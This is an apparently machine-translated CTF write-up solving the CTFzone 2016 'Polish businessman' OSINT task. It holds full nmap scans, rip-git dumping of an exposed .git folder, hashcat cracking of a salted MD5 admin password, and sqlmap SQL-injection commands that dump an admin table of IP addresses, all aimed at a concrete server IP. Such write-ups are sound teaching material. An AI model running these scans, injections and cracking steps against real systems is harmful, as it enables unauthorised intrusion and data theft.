CTFzone write-ups - Grand Finale

Friends, it's time to uncover the last secret of the CTFzone . We are ready to publish the raitap to one of the most difficult tasks of the competition - OSINT for 1000 points. As in the case of Reverse 1000 , we decided to submit the last task of the branch to a separate post due to its large size and complexity.

Decisions on task easier we published earlier, and now it's time for the final chord. We tried to make our final ratap as detailed as possible, so the article turned out to be long and interesting. Is everyone ready? ;)

OSINT_1000: Polish businessman

AURORA: Lieutenant, it's time for another memoir. Are you ready? Scott's diary is about Captain Picard and his brother.
Scott's memoirs. April 19, 2047.
"It is just a joke or true blackmail?" "It’s a bit of a mess."
Well, I assume Lieutenant Scott succeeded as you are on his place. But how did he manage to do it ?.

Decision:

The time has come for the last episode of Scott’s memories. This time we are dealing with corporate blackmail. A wealthy Polish businessman was given a flash drive, which contained very dangerous information for him. Our task is to find a blackmailer. But if before everything was quite real, then this time the task seems impossible ...

We were provided with the image of a flash drive in which the odt-document was stored:

There are only two pages in the document, the first one contains a letter to Mr. Businessman:

The second page contains part of the correspondence from the mail of this businessman and a scan of the document with the account replenishment. The amounts are, of course, impressive:

This person is pure or not at all, it is not for us to judge (and if for us, then about himself). Our task is to find the one who organized the blackmail. Well, let's get started.

All that we have is an image with a document containing the name and the name of the company, as well as the mail of the victim. You can even find some information on the domain name on the network. But, as noted by the participants who solved this task: "Yes, it is immediately clear that this is just water."

Searching by name also does not give us anything remarkable ... Let's try to study the document, in particular its metadata. Everyone at least once found there something necessary.

Unfortunately, this time there is no useful information in the document metadata, so let's try to study the structure of the document. We know that an .odt file, like .doc (x), and .apk, and many other files, is a regular ZIP, but nevertheless has a clear structure.

Extract this file by copying it with the extension .zip :

The study of the structure of the document usually begins with a file meta.xml , which contains general information about the document. It seems there is something here:

We find the new name: "kasperkowalkiewicz". Great, there is a clue! We continue the search, relying on it. It should be noted that many participants thought that this was the end of the task. Here it was possible to remember that this is the most difficult task in the OSINT branch, and do not stop there;)

Wherever we look, searching by name gives nothing. The only thing we are sure of is the Polish origin of the name. As it was said in one fable: "Someone will be too clever by trying to find a solution to some problem, but it turns out that it lies on the surface . " Let's try to start over.

Consider the image of a flash drive that we have. After examining it, we will find the name given by the user under some conditions (sending this will be a hint for users during the competition):

Wikipedia helps in searching for abbreviations. It seems that we have found a further course of action:

Further we will carry out search by name on "gita":

There is a user with that name! Let's see what he has on the page and in the repositories:

We recognized the nickname of this user and found one repository in which a single bash script is hosted. After examining the script, we understand that this is a unfinished checker of a site that works exclusively through TOR (according to the comment at the beginning of the script). Below is a comment in Polish, which asks the developer to add it as soon as possible. The most remarkable is the string that receives the status code of the site availability. The IP address in it is in hex:

Let's try to find out what the IP-address of the server, and see what it "shines" out:

 root@localGhost-->~# nmap -Pn --open 0xB98FAD57 Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:21 MSK Nmap scan report for buono-restoran.ru (185.143.173.87) Host is up (0.0077s latency). Not shown: 995 closed ports, 4 filtered ports PORT STATE SERVICE 8081/tcp open blackice-icecap 

We see that hex has been converted to a readable IP address. This information is not enough for us, we look further:

 root@localGhost-->~# nmap -p- -Pn -A --open 185.143.173.87 Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:23 MSK Nmap scan report for buono-restoran.ru (185.143.173.87) Host is up (0.012s latency). Not shown: 65527 closed ports, 6 filtered ports PORT STATE SERVICE VERSION 8081/tcp open http Apache httpd | http-git: | 185.143.173.87:8081/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: first commit |_http-server-header: Apache |_http-title: May be later... 9501/tcp open ssh OpenSSH 7.2p2 (protocol 2.0) | ssh-hostkey: | 2048 5c:b8:8b:49:5c:8f:0a:0d:ce:b4:27:ea:22:e6:42:c6 (RSA) |_ 256 d8:2d:bc:d0:f4:76:f9:0b:fe:4e:a4:f4:93:95:90:c8 (ECDSA) Device type: general purpose 

Not bad, the Apache hangs on a non-standard port, plus there is a git-folder with some sources. We'll figure out. Go to the site:

The site is under construction. A directory search gave the following paths: admin , 404 , .git . It becomes interesting. Let's try to see what the source code in the gita. For this we need the rip-git utility from the dvcs-ripper package:

 root@localGhost-->~/gear/dvcs-ripper# rip-git.pl -u http://185.143.173.87:8081/.git [i] Using session name: REAqxQuB   : 100% (256/256), . 

Most likely, we already have the source code. Check the contents of the downloaded files:

 root@localGhost-->~/gear/dvcs-ripper# ls -d */ 404/ admin/ root@localGhost-->~/gear/dvcs-ripper# tree 404/ admin/ 404/ ├── app.css ├── fonts.css └── notfound.gif admin/ ├── config.php ├── functions.php ├── index.php ├── login.php └── style ├── bootstrap.min.css ├── bootstrap.min.js ├── jquery.min.js └── style.css 

Oops! In the admin folder there are interesting files, we will try to look for a hint in them. The login.php file contains important information:

We received the login, but our password is still in a hashed form, so even with the "salt". There is no login form on the site, but from the source code we understand that you can log in using a request. Let's try to get the password through hashcat and start with simple dictionaries. The hash file format assigned to hashcat will be in the form: "HASH: SALT", md5($pass.$salt) format in hashcat . Create a file containing a hash with salt, and run the brut:

 root@localGhost-->~/tmp# echo "58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9" > salted.hsh root@localGhost-->~/tmp# hashcat -m 10 -a 3 salted.hsh /tmp/10k_most_common.txt ... 58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9:qweqwe Session.Name...: hashcat Status.........: Cracked Input.Mode.....: Mask (qweqwe) [6] (30.06%) Hash.Target....: 58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I... Hash.Type......: md5($pass.$salt) Time.Started...: 0 secs Speed.Dev.#1...: 0 H/s (0.00ms) Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.......: 1/1 (100.00%) Rejected.......: 0/1 (0.00%) 

And here is the vocabulary password: "qweqwe" - good luck is on our side again! We try to log in through the address bar, the request format is simple:

Bingo! We got into some kind of admin panel, the name coincides with the references on the githaba: "ZNet" . However, while everything is not entirely clear, some bots, countries:

Go through the entries in this table:

Going over the first record, we see the path in the browser bar: http://185.143.173.87:8081/admin/?bot_id=1053. The parameter "id" always suggests an idea about SQL injection;)

Having read Google on the topic "advanced sql injection techniques", we demonstrate our superiority:

I’ll not tinker with my hands, of course, so we will set up sqlmap . Add cookies to the parameters and see what tables we can get:

 root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dbs --batch [*] information_schema [*] web 

We are interested in the second base - "web" . Let's try to get the tables from the database:

 root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --tables -D web --batch Database: web [2 tables] +--------------+ | admin_access | | bots | +--------------+ 

There is nothing useful in the "bots" table. We study the one that has a more remarkable name:

 root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --columns -D web -T admin_access --batch Database: web Table: admin_access [3 columns] +------------+------+ | Column | Type | +------------+------+ | auth_time | text | | user_agent | text | | user_ip | text | +------------+------+ 

In the table "user_agent" we found 3 unique user agents among the multiple login of the admin, and one of them is clearly the user agent of the TOR browser:

Suppose a user logged in at least two machines, because a TOR browser can stand on each of them (or even on one, since it is easy to fake a user agent. He could simply use two different browsers on the same machine). We need to get information about the IP addresses from which the user exited:

 root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dump -D web -T admin_access -C user_ip --batch [36 entries] +-----------------+ | user_ip | +-----------------+ | 104.233.95.49 | | 128.199.218.14 | | 158.58.170.130 | | 162.247.72.202 | | 162.247.73.74 | | 173.255.229.8 | | 176.10.99.202 | | 176.126.252.12 | | 176.126.252.12 | | 185.100.86.199 | | 185.72.244.24 | | 188.68.237.55 | | 193.15.16.4 | | 195.154.164.200 | | 197.231.221.211 | | 198.23.161.144 | | 216.17.99.183 | | 216.230.148.77 | | 31.220.45.142 | | 37.187.239.8 | | 46.183.221.231 | | 5.196.73.88 | | 62.133.130.105 | | 62.133.130.105 | | 64.137.237.81 | | 77.247.181.162 | | 77.254.3.32 | | 79.124.59.194 | | 87.118.92.43 | | 88.167.163.142 | | 91.134.232.61 | | 91.240.65.16 | | 91.240.65.16 | | 95.211.205.151 | | 95.211.226.242 | | 96.35.130.132 | +-----------------+ 

Interestingly, there were a lot of visits - 33 entries are unique. Obviously, the reason for the repetition of addresses lies in the fact that the user came to the site again with a difference of several minutes. This leads to certain thoughts. We take the first IP address in the list and try to look for information about it:

As we can see, this is a TOR-node. Let's try a random IP with another user agent and get about the same thing:

It's a shame ... It turns out that the traffic of Kasper Kovalkevich is always “toryified”, and he will not give us anything. However, just in case, check all IP addresses.

Everyone knows that TOR publishes a list of its output nodes every day. The list is available at this address . It is updated every day, as some nodes disappear, while others are added. Let's create two files - in one we will place the list of output nodes, and in the second we will receive the base of addresses. Next, try to find addresses that are not in the list of TOR'a, if any. You can try to write a script to get the difference, but bash will be used much faster. First we calculate the number of lines in two files, and then compare:

 root@localGhost-->/tmp/ips# wc -l * 36 kasper.lst 1166 tor.lst 1202  root@localGhost-->/tmp/ips# comm -13 <(sort tor.lst) <(sort kasper.lst) 162.247.73.74 188.68.237.55 195.154.164.200 216.17.99.183 5.196.73.88 62.133.130.105 91.240.65.16 95.211.226.242 

The difference is quite small, you can check with your hands. We are looking for in Google: "our_IP tor". Of all the IP addresses, only 188.68.237.55 nothing to do with TOR:

View information about this IP address:

It seems that this address belongs to that very Kasper Kovalkevich. Let's see what is on it. The Apache hangs on the machine, the main page shows some strange phrase:

We look for information in the lines: "i hereby claim" and find the reference to keybase.io. Keybase.io is a universal public key repository where all keys correspond to unique user names. Let's try to find the key of our user. Let's try to google by the names that we previously found on this server, but this does not give us anything. After reading in more detail about the storage of keys, we find out that the key may lie in the ".well-known". folder ".well-known". We also check this option:

Hooray! There is a file here, let's look at its contents:

There is another, easier way to find this folder. It was possible to simply use the Dirsearch utility, in the arsenal of which there is a good dictionary, in which, unlike the dictionaries of similar utilities, there is a mention of this folder:

Go to the user’s page at https://keybase.io/prepro :

We study the user’s page and see the abbreviation of the name we know on it. We read userinfo from which we find out where and by whom our user works. Now we have information about the blackmailer, which we will later convey to interested people.

But that's not all! Something interesting is waiting for us here - our flag: "H0w_DiD_U_FinD_m3" . Now this is really the end of the task;)

Answer: ctfzone {H0w_DiD_U_FinD_m3}

PS: the task included a chain of various kinds of logical actions, but it was not solved without prompts. The idea with the name in the document came after reading this article , which says that under certain conditions of settings and ways of saving this happens. A hint with the name of the flash drive image was necessary, because without it, it was impossible to understand the further course of action. How did we get to the end point? As we remember, the user worked through TOR and, in theory, did not leave any traces. However, once he still forgot to do it, but in practice this rarely happens. This task was solved only by one team, and we agree that the task turned out really difficult for an individual CTF.

Friends, that's all! All ratypy published, all the secrets of the CTFzone revealed, but this is only the beginning. The event in the framework of ZERONIGHTS 2016 is the first step for BI.ZONE in the field of CTF organization, and even more large-scale and exciting competitions are waiting for you. We are waiting for your suggestions, comments and questions in our chat in the telegraph and in the comments to the posts. Stay with us, and we promise, the next will be only steeper;)

Good luck to everyone and see you soon!